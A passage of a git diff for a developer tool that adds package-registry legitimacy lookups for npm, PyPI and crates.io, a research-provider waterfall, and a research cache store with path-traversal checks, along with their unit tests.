JSON.parse(dlResp.body) as Record; + if (typeof dlData.downloads === 'number') { + weeklyDownloads = dlData.downloads; + } + } + } catch { + // Degraded: leave weeklyDownloads as null, never throw + } + + return { + exists: true, + publishedAt: time[resolvedVersion] ?? time.created ?? null, + weeklyDownloads, + repoUrl, + deprecated, + postinstall, + ecosystem: 'npm', + }; + } catch { + return degradedSignals(); + } +} + +async function lookupPypi(name: string, version?: string): Promise { + try { + const resp = await httpsGet(`https://pypi.org/pypi/${encodeURIComponent(name)}/json`, 5000); + if (resp.statusCode === 404) return { ...degradedSignals(), exists: false }; + if (resp.statusCode < 200 || resp.statusCode >= 300) return degradedSignals(); + + const data = JSON.parse(resp.body) as Record; + const info = (data.info as Record) ?? {}; + + // I3: when a specific version is requested, verify it exists in releases + const releases = (data.releases as Record | undefined) ?? {}; + if (version !== undefined) { + if (!(version in releases)) { + return { ...degradedSignals(), exists: false }; + } + } + + // Finding 2: when version is provided, derive publishedAt from the + // version-specific release record rather than the package-level urls[] array + // (which reflects the latest release, not the requested version). + let uploadTime: string | null = null; + if (version !== undefined) { + const versionFiles = (releases[version] as Array> | undefined) ?? []; + uploadTime = + versionFiles.length > 0 + ? (versionFiles[0].upload_time_iso_8601 as string | undefined) ?? null + : null; + } else { + const urls = (data.urls as Array>) ?? []; + uploadTime = + urls.length > 0 ? (urls[0].upload_time_iso_8601 as string | undefined) ?? null : null; + } + + const projectUrls = info.project_urls as Record | undefined; + const repoUrl = + projectUrls?.['Source'] ?? + projectUrls?.['Homepage'] ?? + (info.home_page as string | undefined) ?? + null; + + return { + exists: true, + publishedAt: uploadTime, + weeklyDownloads: null, // PyPI weekly downloads require a separate API + repoUrl: repoUrl || null, + deprecated: false, // PyPI doesn't have a first-class deprecated field + postinstall: null, // Not applicable for PyPI + ecosystem: 'pypi', + }; + } catch { + return degradedSignals(); + } +} + +async function lookupCrates(name: string, version?: string): Promise { + try { + const resp = await httpsGet( + `https://crates.io/api/v1/crates/${encodeURIComponent(name)}`, + 5000 + ); + if (resp.statusCode === 404) return { ...degradedSignals(), exists: false }; + if (resp.statusCode < 200 || resp.statusCode >= 300) return degradedSignals(); + + const data = JSON.parse(resp.body) as Record; + const krate = (data.crate as Record) ?? {}; + + // I3: when a specific version is requested, verify it exists in versions list + const versions = (data.versions as Array> | undefined) ?? []; + if (version !== undefined) { + const found = versions.some( + (v) => (v.num as string | undefined) === version + ); + if (!found) { + return { ...degradedSignals(), exists: false }; + } + } + + const repoUrl = (krate.repository as string | undefined) ?? null; + // Finding 2: when version is provided, use the version-specific created_at + // rather than the package-level crate.created_at (first-ever publish date). + let created: string | null; + if (version !== undefined) { + const versionObj = versions.find((v) => (v.num as string | undefined) === version); + created = (versionObj?.created_at as string | undefined) ?? null; + } else { + created = (krate.created_at as string | undefined) ?? null; + } + // recent_downloads is a 90-day count; normalize to a weekly figure for comparison + // against minWeeklyDownloads (which is a weekly threshold). + const rawDownloads = krate.recent_downloads; + const downloads = (rawDownloads != null && typeof Number(rawDownloads) === 'number' && !isNaN(Number(rawDownloads))) + ? Math.round(Number(rawDownloads) * 7 / 90) + : null; + + return { + exists: true, + publishedAt: created, + weeklyDownloads: downloads, + repoUrl, + deprecated: false, + postinstall: null, + ecosystem: 'crates', + }; + } catch { + return degradedSignals(); + } +} + +const realRegistry: RegistryClient = { + async lookup(ecosystem: Ecosystem, name: string, version?: string): Promise { + switch (ecosystem) { + case 'npm': + return lookupNpm(name, version); + case 'pypi': + return lookupPypi(name, version); + case 'crates': + return lookupCrates(name, version); + default: + return degradedSignals(); + } + }, +}; + +// --------------------------------------------------------------------------- +// checkPackages — orchestrates lookup + classify + slopcheck merge +// --------------------------------------------------------------------------- + +async function checkPackages( + { ecosystem, packages, version }: CheckPackagesInput, + { + registry = realRegistry, + clock = Date, + thresholds = DEFAULT_THRESHOLDS, + slopcheck = null, + }: CheckPackagesOptions = {} +): Promise { + const results: CheckResult[] = []; + + for (const name of packages) { + const signals = await registry.lookup(ecosystem, name, version); + const { verdict: registryVerdict, reasons } = classifyPackage(signals, { thresholds, clock }); + + let finalVerdict: Verdict = registryVerdict; + + if (slopcheck != null) { + const slopVerdict = await slopcheck.check(ecosystem, name); + if (slopVerdict != null) { + finalVerdict = moreSevereVerdict(finalVerdict, slopVerdict); + } + } + + results.push({ name, verdict: finalVerdict, signals, reasons }); + } + + return results; +} + +// --------------------------------------------------------------------------- +// Module export (CommonJS interop — export = only, no other export keywords) +// --------------------------------------------------------------------------- + +export = { DEFAULT_THRESHOLDS, classifyPackage, checkPackages, _setHttpGet }; diff --git a/src/research-provider.cts b/src/research-provider.cts new file mode 100644 index 000000000..0c89edc20 --- /dev/null +++ b/src/research-provider.cts @@ -0,0 +1,281 @@ +/** + * Research Provider Module + * + * Encodes the Balanced-set provider decision: PROVIDER_WATERFALL constant, + * classifyConfidence, providerAvailability, and planResearch (with injectable + * store for testability). + * + * ADR-457 build-at-publish: authored as TypeScript .cts → emits .cjs via tsc. + */ + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +type ProviderKind = 'docs' | 'web' | 'scrape'; +type ConfidenceLevel = 'HIGH' | 'MEDIUM' | 'LOW'; + +interface ProviderWaterfall { + docs: string[]; + web: string[]; + scrape: string[]; +} + +interface ClassifyConfidenceInput { + provider?: unknown; + verifiedAgainstOfficial?: unknown; + legitimacyVerdict?: unknown; +} + +interface ProviderAvailabilityConfig { + exa_search?: unknown; + tavily_search?: unknown; + brave_search?: unknown; + firecrawl?: unknown; + ref_search?: unknown; + perplexity?: unknown; + jina?: unknown; + [key: string]: unknown; +} + +interface Question { + text: string; + kind: string; + library?: string; + version?: string; +} + +interface StoreResult { + hit: boolean; + stale: boolean; + entry: unknown; +} + +interface ResearchStore { + researchKey(input: { + ecosystem?: unknown; + library?: unknown; + version?: unknown; + query?: unknown; + kind?: unknown; + }): string; + getResearch( + cwd: string, + key: string, + opts?: { clock?: typeof Date; homeDir?: string; kind?: string } + ): StoreResult; +} + +interface PlanResearchOptions { + questions: Question[]; + ecosystem?: string; + cwd: string; + config?: ProviderAvailabilityConfig; + clock?: typeof Date; + homeDir?: string; + store?: ResearchStore; +} + +interface CacheInfo { + hit: boolean; + stale: boolean; +} + +interface FetchInfo { + provider: string; + query: string; +} + +interface ResearchItem { + question: string; + key: string; + cache?: CacheInfo; + fetch?: FetchInfo; +} + +interface PlanResearchResult { + items: ResearchItem[]; +} + +// --------------------------------------------------------------------------- +// Cycle 1 / Cycle 6: PROVIDER_WATERFALL (Balanced-set decision) +// firecrawl appears ONLY in scrape — demoted to known-URL scrape, NOT in docs/web +// --------------------------------------------------------------------------- + +const PROVIDER_WATERFALL: ProviderWaterfall = { + docs: ['context7', 'ref', 'jina', 'websearch'], + web: ['exa', 'tavily', 'perplexity', 'brave', 'websearch'], + scrape: ['firecrawl', 'jina'], +}; + +// --------------------------------------------------------------------------- +// Cycle 4: classifyConfidence (evidence-driven) +// +// HIGH = corroborated against an authoritative source (registry ground-truth), +// NOT a correctness guarantee. +// +// Two-axis model: +// axis-1: authorityOf(provider) → 'official' | 'scrape' | 'web' | 'none' +// axis-2: groundTruth (legitimacyVerdict normalized to OK|SUS|SLOP) +// +// Decision table (evaluated in order): +// legitimacyVerdict === 'SLOP' → LOW (caps everything) +// groundTruth && authority !== 'none' → HIGH +// authority === 'official' || authority === 'scrape' → MEDIUM +// groundTruth (authority 'none') → MEDIUM +// authority === 'web' && verifiedAgainstOfficial → MEDIUM +// else → LOW +// --------------------------------------------------------------------------- + +type ProviderAuthority = 'official' | 'scrape' | 'web' | 'none'; + +function authorityOf(provider: unknown): ProviderAuthority { + switch (provider) { + case 'context7': + case 'ref': + return 'official'; + case 'jina': + case 'firecrawl': + return 'scrape'; + case 'exa': + case 'tavily': + case 'perplexity': + case 'brave': + case 'websearch': + return 'web'; + default: + return 'none'; + } +} + +function normalizeLegitimacyVerdict(raw: unknown): 'OK' | 'SUS' | 'SLOP' | null { + if (typeof raw !== 'string') return null; + const upper = raw.toUpperCase(); + if (upper === 'OK' || upper === 'SUS' || upper === 'SLOP') return upper; + return null; +} + +function classifyConfidence(input: ClassifyConfidenceInput): ConfidenceLevel { + try { + const { provider, verifiedAgainstOfficial, legitimacyVerdict } = input; + const authority = authorityOf(provider); + const verdict = normalizeLegitimacyVerdict(legitimacyVerdict); + const groundTruth = verdict === 'OK'; + + // SLOP caps everything — checked first + if (verdict === 'SLOP') return 'LOW'; + + // Ground-truth corroboration + known authority → HIGH + if (groundTruth && authority !== 'none') return 'HIGH'; + + // Official or scrape provider (authority alone) → MEDIUM + if (authority === 'official' || authority === 'scrape') return 'MEDIUM'; + + // Ground-truth but unknown provider → MEDIUM + if (groundTruth) return 'MEDIUM'; + + // Web provider with self-reported verification → MEDIUM + if (authority === 'web' && verifiedAgainstOfficial === true) return 'MEDIUM'; + + return 'LOW'; + } catch { + return 'LOW'; + } +} + +// --------------------------------------------------------------------------- +// Cycle 5: providerAvailability +// --------------------------------------------------------------------------- + +function providerAvailability(config?: ProviderAvailabilityConfig): Record { + const cfg = config ?? {}; + return { + context7: true, + jina: cfg.jina !== undefined ? Boolean(cfg.jina) : true, + websearch: true, + exa: Boolean(cfg.exa_search), + tavily: Boolean(cfg.tavily_search), + brave: Boolean(cfg.brave_search), + firecrawl: Boolean(cfg.firecrawl), + ref: Boolean(cfg.ref_search), + perplexity: Boolean(cfg.perplexity), + }; +} + +// --------------------------------------------------------------------------- +// Lazy-load default store (avoids circular require at module eval time) +// --------------------------------------------------------------------------- + +let _defaultStore: ResearchStore | undefined; + +function getDefaultStore(): ResearchStore { + if (!_defaultStore) { + // eslint-disable-next-line @typescript-eslint/no-require-imports -- lazy default store; tests inject their own + _defaultStore = require('./research-store.cjs') as ResearchStore; + } + return _defaultStore; +} + +// --------------------------------------------------------------------------- +// Cycle 1–3, 5, 7: planResearch +// --------------------------------------------------------------------------- + +function planResearch(options: PlanResearchOptions): PlanResearchResult { + const { + questions, + ecosystem = '', + cwd, + config, + clock = Date, + homeDir, + store = getDefaultStore(), + } = options; + + const availability = providerAvailability(config); + + const items: ResearchItem[] = questions.flatMap((q) => { + const { text, kind, library, version } = q; + + // Skip questions without a non-empty string text — emitting an item with + // question:undefined / fetch.query:undefined would produce corrupt output. + if (typeof text !== 'string' || text.length === 0) { + return []; + } + + const key = store.researchKey({ ecosystem, library, version, query: text, kind }); + const res = store.getResearch(cwd, key, { clock, homeDir, kind }); + + // Fresh cache hit — no fetch needed + if (res.hit && !res.stale) { + return { question: text, key, cache: { hit: true, stale: false } }; + } + + // Determine which waterfall to use + const waterfall: string[] = + (PROVIDER_WATERFALL as unknown as Record)[kind] ?? PROVIDER_WATERFALL.web; + + // Pick first available provider + const provider = waterfall.find((p) => availability[p] === true) ?? 'websearch'; + + const item: ResearchItem = { + question: text, + key, + fetch: { provider, query: text }, + }; + + // Stale hit: include cache info + if (res.hit) { + item.cache = { hit: true, stale: true }; + } + + return item; + }); + + return { items }; +} + +// --------------------------------------------------------------------------- +// Exports +// --------------------------------------------------------------------------- + +export = { PROVIDER_WATERFALL, classifyConfidence, providerAvailability, planResearch }; diff --git a/src/research-store.cts b/src/research-store.cts new file mode 100644 index 000000000..ef1fd2388 --- /dev/null +++ b/src/research-store.cts @@ -0,0 +1,252 @@ +/** + * Research Store Module + * + * Provides deterministic cache key generation, TTL policy, path resolution, + * and JSON-backed put/get operations for research entries. + * + * ADR-457 build-at-publish: authored as TypeScript .cts → emits .cjs via tsc. + */ + +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import crypto from 'node:crypto'; +import { platformWriteSync } from './shell-command-projection.cjs'; + +// --------------------------------------------------------------------------- +// Constants +// --------------------------------------------------------------------------- + +const DAY_MS = 86_400_000; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +interface ResearchKeyInput { + ecosystem?: unknown; + library?: unknown; + version?: unknown; + query?: unknown; + kind?: unknown; +} + +interface ResearchEntry { + content: unknown; + source: string; + provider: string; + confidence: string; + fetched_at: string; + ttl: number; + kind: string; +} + +interface GetResult { + hit: boolean; + stale: boolean; + entry: ResearchEntry | null; +} + +interface ClockLike { + now(): number; +} + +interface PutOptions { + clock?: ClockLike; + homeDir?: string; +} + +interface GetOptions { + clock?: ClockLike; + homeDir?: string; +} + +interface PutPayload { + content: unknown; + source: string; + provider: string; + confidence: string; + kind: string; + version?: string; +} + +// --------------------------------------------------------------------------- +// researchKey +// --------------------------------------------------------------------------- + +function normalize(x: unknown): string { + if (x === null || x === undefined) return ''; + if (typeof x === 'object') return JSON.stringify(x).trim().toLowerCase(); + // After excluding null, undefined, and object, x can only be a primitive — + // cast through number | string | boolean to avoid no-base-to-string on unknown. + return `${x as number | string | boolean}`.trim().toLowerCase(); +} + +function researchKey(input: ResearchKeyInput): string { + const parts = { + ecosystem: normalize(input.ecosystem), + library: normalize(input.library), + version: normalize(input.version), + query: normalize(input.query), + kind: normalize(input.kind), + }; + const serialized = JSON.stringify(parts); + return crypto.createHash('sha256').update(serialized).digest('hex'); +} + +// --------------------------------------------------------------------------- +// ttlForSource +// --------------------------------------------------------------------------- + +function ttlForSource(source: string, confidence: string): number { + if (source === 'curated' && confidence === 'HIGH') return 30 * DAY_MS; + if (source === 'curated' && confidence === 'MEDIUM') return 7 * DAY_MS; + return DAY_MS; +} + +// --------------------------------------------------------------------------- +// tierForSource / resolveStorePath +// --------------------------------------------------------------------------- + +const CURATED_SOURCES = new Set(['curated']); + +function tierForSource(source: string): 'user' | 'project' { + return CURATED_SOURCES.has(source) ? 'user' : 'project'; +} + +function resolveStorePath(cwd: string, source: string, { homeDir = os.homedir() }: { homeDir?: string } = {}): string { + if (tierForSource(source) === 'user') { + return path.join(homeDir, '.gsd', 'research-cache'); + } + return path.join(cwd, '.planning', 'research', '.cache'); +} + +// --------------------------------------------------------------------------- +// isValidResearchKey +// --------------------------------------------------------------------------- + +/** + * Returns true iff key is a valid 64-character lowercase hexadecimal SHA-256 + * string (the exact shape produced by researchKey). Any other shape — + * including path-traversal sequences — is rejected. + */ +function isValidResearchKey(key: unknown): boolean { + return typeof key === 'string' && /^[0-9a-f]{64}$/.test(key); +} + +// --------------------------------------------------------------------------- +// putResearch +// --------------------------------------------------------------------------- + +function putResearch( + cwd: string, + key: string, + payload: PutPayload, + { clock = Date, homeDir = os.homedir() }: PutOptions = {} +): ResearchEntry { + // Defense-in-depth: reject any key that is not a 64-char sha256 hex string. + if (!isValidResearchKey(key)) { + throw new Error('invalid research key'); + } + + const { content, source, provider, confidence, kind, version } = payload; + let ttl = ttlForSource(source, confidence); + // Cap TTL when version is blank/missing — a versionless curated entry must not + // get the long 30-day window since we can't know if it's still current. + if (!version) { + ttl = Math.min(ttl, DAY_MS); + } + const fetched_at = new Date(clock.now()).toISOString(); + const entry: ResearchEntry = { content, source, provider, confidence, fetched_at, ttl, kind }; + const dir = resolveStorePath(cwd, source, { homeDir }); + + // Belt-and-suspenders: ensure the resolved file path stays inside the store dir. + const resolvedDir = path.resolve(dir); + const filePath = path.join(dir, `${key}.json`); + const resolvedFile = path.resolve(filePath); + if (!resolvedFile.startsWith(resolvedDir + path.sep)) { + throw new Error('invalid research key'); + } + + fs.mkdirSync(dir, { recursive: true }); + platformWriteSync(filePath, JSON.stringify(entry)); + return entry; +} + +// --------------------------------------------------------------------------- +// getResearch +// --------------------------------------------------------------------------- + +function getResearch(cwd: string, key: string, { clock = Date, homeDir = os.homedir() }: GetOptions = {}): GetResult { + // Defense-in-depth: reject any key that is not a 64-char sha256 hex string. + if (!isValidResearchKey(key)) { + return { hit: false, stale: false, entry: null }; + } + + try { + // Search both physical tiers: user (curated) and project (web/etc.) + const userDir = path.join(homeDir, '.gsd', 'research-cache'); + const projectDir = path.join(cwd, '.planning', 'research', '.cache'); + const tierDirs = [userDir, projectDir]; + + interface Candidate { + entry: ResearchEntry; + stale: boolean; + age: number; + } + + const candidates: Candidate[] = []; + + for (const dir of tierDirs) { + const resolvedDir = path.resolve(dir); + const filePath = path.join(dir, `${key}.json`); + // Belt-and-suspenders: ensure path stays inside tier dir + if (!path.resolve(filePath).startsWith(resolvedDir + path.sep)) continue; + + if (!fs.existsSync(filePath)) continue; + + let entry: ResearchEntry; + try { + entry = JSON.parse(fs.readFileSync(filePath, 'utf8')) as ResearchEntry; + } catch { + // Corrupt file in this tier — skip it + continue; + } + + // Finding 3: validate entry metadata shape before accepting as a candidate. + // An entry with missing/invalid fetched_at or ttl must be treated as a miss. + const parsedFetchedAt = Date.parse(entry.fetched_at); + if (!Number.isFinite(parsedFetchedAt)) continue; + if ( + typeof entry.ttl !== 'number' || + !Number.isFinite(entry.ttl) || + entry.ttl <= 0 + ) continue; + + const age = clock.now() - parsedFetchedAt; + const stale = age > entry.ttl; + candidates.push({ entry, stale, age }); + } + + if (candidates.length === 0) { + return { hit: false, stale: false, entry: null }; + } + + // Prefer: non-stale over stale; among same-staleness, lowest age (most recent) + candidates.sort((a, b) => { + if (a.stale !== b.stale) return a.stale ? 1 : -1; // non-stale first + return a.age - b.age; // lower age (more recent) first + }); + + const best = candidates[0]; + return { hit: true, stale: best.stale, entry: best.entry }; + } catch { + return { hit: false, stale: false, entry: null }; + } +} + +// --------------------------------------------------------------------------- +// Exports +// --------------------------------------------------------------------------- + +export = { isValidResearchKey, researchKey, ttlForSource, tierForSource, resolveStorePath, putResearch, getResearch }; diff --git a/tests/config.test.cjs b/tests/config.test.cjs index 93af892ad..fba2a7d3f 100644 --- a/tests/config.test.cjs +++ b/tests/config.test.cjs @@ -108,6 +108,118 @@ describe('config-ensure-section command', () => { assert.strictEqual(config.brave_search, true); }); + test('detects Tavily Search from env var', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, TAVILY_API_KEY: 'test-key' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.tavily_search, true); + }); + + test('tavily_search is false when env var absent and no key file', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, TAVILY_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.tavily_search, false); + }); + + test('detects Tavily Search from file-based key', () => { + const gsdDir = path.join(tmpDir, '.gsd'); + fs.mkdirSync(gsdDir, { recursive: true }); + fs.writeFileSync(path.join(gsdDir, 'tavily_api_key'), 'test-key', 'utf-8'); + + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, TAVILY_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.tavily_search, true); + }); + + test('detects Ref Search from env var', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, REF_API_KEY: 'test-key' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.ref_search, true); + }); + + test('ref_search is false when env var absent and no key file', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, REF_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.ref_search, false); + }); + + test('detects Ref Search from file-based key', () => { + const gsdDir = path.join(tmpDir, '.gsd'); + fs.mkdirSync(gsdDir, { recursive: true }); + fs.writeFileSync(path.join(gsdDir, 'ref_api_key'), 'test-key', 'utf-8'); + + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, REF_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.ref_search, true); + }); + + test('detects Perplexity from env var', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, PERPLEXITY_API_KEY: 'test-key' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.perplexity, true); + }); + + test('perplexity is false when env var absent and no key file', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, PERPLEXITY_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.perplexity, false); + }); + + test('detects Perplexity from file-based key', () => { + const gsdDir = path.join(tmpDir, '.gsd'); + fs.mkdirSync(gsdDir, { recursive: true }); + fs.writeFileSync(path.join(gsdDir, 'perplexity_api_key'), 'test-key', 'utf-8'); + + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, PERPLEXITY_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.perplexity, true); + }); + + test('detects Jina from env var', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, JINA_API_KEY: 'test-key' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.jina, true); + }); + + test('jina is false when env var absent and no key file', () => { + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, JINA_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.jina, false); + }); + + test('detects Jina from file-based key', () => { + const gsdDir = path.join(tmpDir, '.gsd'); + fs.mkdirSync(gsdDir, { recursive: true }); + fs.writeFileSync(path.join(gsdDir, 'jina_api_key'), 'test-key', 'utf-8'); + + const result = runGsdTools('config-ensure-section', tmpDir, { HOME: tmpDir, USERPROFILE: tmpDir, JINA_API_KEY: '' }); + assert.ok(result.success, `Command failed: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.jina, true); + }); + test('merges user defaults from defaults.json', () => { // runGsdTools sandboxes HOME=tmpDir, so defaults.json is written there — // no real filesystem side effects, cleanup happens via afterEach. diff --git a/tests/copilot-install.test.cjs b/tests/copilot-install.test.cjs index 8e958ae10..b97271832 100644 --- a/tests/copilot-install.test.cjs +++ b/tests/copilot-install.test.cjs @@ -272,6 +272,36 @@ describe('convertCopilotToolName', () => { test('mapping constant has 13 entries (12 direct + mcp handled separately)', () => { assert.strictEqual(Object.keys(claudeToCopilotTools).length, 12); }); + + // Regression: mcp__tavily/ref/jina use the same generic passthrough as exa/firecrawl (#657) + // No explicit io.github.* registry ID is known for these providers; they lower-case passthrough. + const genericMcpCases = [ + ['mcp__exa__*', 'mcp__exa__*'], + ['mcp__firecrawl__*', 'mcp__firecrawl__*'], + ['mcp__tavily__*', 'mcp__tavily__*'], + ['mcp__ref__*', 'mcp__ref__*'], + ['mcp__jina__*', 'mcp__jina__*'], + ['mcp__exa__web_search_exa', 'mcp__exa__web_search_exa'], + ['mcp__firecrawl__scrape', 'mcp__firecrawl__scrape'], + ['mcp__tavily__search', 'mcp__tavily__search'], + ['mcp__ref__get', 'mcp__ref__get'], + ['mcp__jina__read_url', 'mcp__jina__read_url'], + ]; + + for (const [input, expected] of genericMcpCases) { + test(`generic MCP passthrough: ${input} → ${expected}`, () => { + assert.strictEqual(convertCopilotToolName(input), expected); + }); + } + + test('mcp__context7__* still gets the explicit io.github.upstash mapping (not generic passthrough)', () => { + // Confirm the context7 special-case is NOT affected by the generic path + assert.strictEqual(convertCopilotToolName('mcp__context7__*'), 'io.github.upstash/context7/*'); + assert.strictEqual( + convertCopilotToolName('mcp__context7__resolve-library-id'), + 'io.github.upstash/context7/resolve-library-id' + ); + }); }); // ─── convertClaudeToCopilotContent ────────────────────────────────────────────── diff --git a/tests/mcp-tool-inheritance.test.cjs b/tests/mcp-tool-inheritance.test.cjs index 4d54aaba0..fade31c19 100644 --- a/tests/mcp-tool-inheritance.test.cjs +++ b/tests/mcp-tool-inheritance.test.cjs @@ -36,3 +36,83 @@ describe('MCP tool usage in GSD agents', () => { ); }); }); + +// Regression (#657 Phase C.2): researcher agents declare mcp__tavily/ref/jina alongside +// the pre-existing mcp__exa/firecrawl tools. All six use the same generic MCP passthrough +// on every runtime (no explicit registry mapping needed until io.github.* IDs are confirmed). +describe('Researcher agents declare mcp__tavily/ref/jina tools (#657)', () => { + const researcherAgents = [ + path.join(__dirname, '..', 'agents', 'gsd-project-researcher.md'), + path.join(__dirname, '..', 'agents', 'gsd-phase-researcher.md'), + path.join(__dirname, '..', 'agents', 'gsd-ui-researcher.md'), + ]; + + // Tools that must appear in the tools: frontmatter line of every researcher agent + const requiredMcpTools = [ + 'mcp__context7__*', + 'mcp__exa__*', + 'mcp__firecrawl__*', + 'mcp__tavily__*', + 'mcp__ref__*', + 'mcp__jina__*', + ]; + + for (const agentFile of researcherAgents) { + const name = path.basename(agentFile); + const content = fs.readFileSync(agentFile, 'utf-8'); + + // Extract the tools: frontmatter line (single-line CSV form) + const toolsLineMatch = content.match(/^tools:\s*(.+)$/m); + + test(`${name} has a tools: frontmatter line`, () => { + assert.ok(toolsLineMatch, `${name} must have a tools: frontmatter line`); + }); + + for (const tool of requiredMcpTools) { + test(`${name} declares ${tool}`, () => { + assert.ok( + toolsLineMatch && toolsLineMatch[1].includes(tool), + `${name} tools: line must include ${tool}` + ); + }); + } + } +}); + +// Parity assertion: mcp__tavily/ref/jina must be declared alongside mcp__exa/firecrawl +// in every researcher agent. This test fails when the two sets diverge (#657 generative-fix). +describe('Researcher agent MCP tool set parity: new tools match exa/firecrawl pattern (#657)', () => { + const researcherAgents = [ + path.join(__dirname, '..', 'agents', 'gsd-project-researcher.md'), + path.join(__dirname, '..', 'agents', 'gsd-phase-researcher.md'), + path.join(__dirname, '..', 'agents', 'gsd-ui-researcher.md'), + ]; + + for (const agentFile of researcherAgents) { + const name = path.basename(agentFile); + const content = fs.readFileSync(agentFile, 'utf-8'); + const toolsLineMatch = content.match(/^tools:\s*(.+)$/m); + const toolsLine = toolsLineMatch ? toolsLineMatch[1] : ''; + + test(`${name}: mcp__tavily__* co-declared with mcp__exa__*`, () => { + const hasExa = toolsLine.includes('mcp__exa__*'); + const hasTavily = toolsLine.includes('mcp__tavily__*'); + assert.strictEqual(hasExa, hasTavily, + `${name}: mcp__exa__* and mcp__tavily__* must both be present or both absent`); + }); + + test(`${name}: mcp__jina__* co-declared with mcp__firecrawl__*`, () => { + const hasFirecrawl = toolsLine.includes('mcp__firecrawl__*'); + const hasJina = toolsLine.includes('mcp__jina__*'); + assert.strictEqual(hasFirecrawl, hasJina, + `${name}: mcp__firecrawl__* and mcp__jina__* must both be present or both absent`); + }); + + test(`${name}: mcp__ref__* present (standalone research tool)`, () => { + assert.ok( + toolsLine.includes('mcp__ref__*'), + `${name}: mcp__ref__* must be declared` + ); + }); + } +}); diff --git a/tests/package-legitimacy-gate.test.cjs b/tests/package-legitimacy-gate.test.cjs index 0f668cf2e..53bfc18ca 100644 --- a/tests/package-legitimacy-gate.test.cjs +++ b/tests/package-legitimacy-gate.test.cjs @@ -188,46 +188,47 @@ function readModel(filePath) { }; } -describe('gsd-phase-researcher.md — slopcheck invocation', () => { +// allow-test-rule: source-text-is-the-product +// Agent .md files — their text IS what the runtime loads. +// Testing text content tests the deployed contract. +// Per CONTRIBUTING.md exception matrix. + +describe('gsd-phase-researcher.md — package-legitimacy seam invocation', () => { let model; before(() => { model = readModel(RESEARCHER); }); - test('contains slopcheck install command in a fenced code block', () => { - const found = model.codeBlocks.some((block) => hasAllTokens(block, ['slopcheck', 'install'])); - assert.ok(found, 'researcher must invoke slopcheck install inside a fenced code block'); - }); - - test('slopcheck invocation includes --json flag', () => { + test('invokes gsd-tools query package-legitimacy check inside a fenced code block', () => { const found = model.codeBlocks.some((block) => - hasAllTokens(block, ['slopcheck', 'install']) && hasAllTokens(block, ['json']) + hasAllTokens(block, ['package-legitimacy', 'check']) ); - assert.ok(found, 'slopcheck invocation must pass --json'); + assert.ok(found, 'researcher must invoke package-legitimacy check inside a fenced code block'); }); - test('guards slopcheck invocation with command availability check', () => { - const hasCommandV = model.codeBlocks.some((block) => hasAllTokens(block, ['command', '-v', 'slopcheck'])); - const hasWhich = model.codeBlocks.some((block) => hasAllTokens(block, ['which', 'slopcheck'])); - assert.ok(hasCommandV || hasWhich, 'researcher must guard slopcheck invocation with command -v or which'); + test('package-legitimacy invocation includes --ecosystem flag', () => { + const found = model.codeBlocks.some((block) => + hasAllTokens(block, ['package-legitimacy', 'check']) && hasAllTokens(block, ['--ecosystem']) + ); + assert.ok(found, 'package-legitimacy check must include --ecosystem flag'); }); - test('documents graceful degradation when slopcheck is unavailable', () => { + test('documents SLOP, SUS, OK verdict interpretation', () => { + const hasSLOP = anyLineHasAll(model.lines, ['slop']); + const hasSUS = anyLineHasAll(model.lines, ['sus']); + const hasOK = anyLineHasAll(model.lines, ['ok']); + assert.ok(hasSLOP && hasSUS && hasOK, 'researcher must document SLOP, SUS, OK verdict interpretation'); + }); + + test('documents [ASSUMED] tag for WebSearch-discovered packages not verified against authoritative source', () => { const hasAssumedLine = anyLineHasAll(model.lines, ['assumed']); - const hasSlopcheckUnavailableLine = model.lines.some((line) => { - const slopcheckMention = hasAllTokens(line, ['slopcheck']); - const unavailableMention = - hasAllTokens(line, ['not', 'available']) || - hasAllTokens(line, ['not', 'found']) || - hasAllTokens(line, ['unavailable']) || - hasAllTokens(line, ['cannot', 'installed']); - return slopcheckMention && unavailableMention; - }); - + const hasWebSearchOrTraining = model.lines.some((line) => + hasAllTokens(line, ['websearch']) || hasAllTokens(line, ['training']) + ); assert.ok( 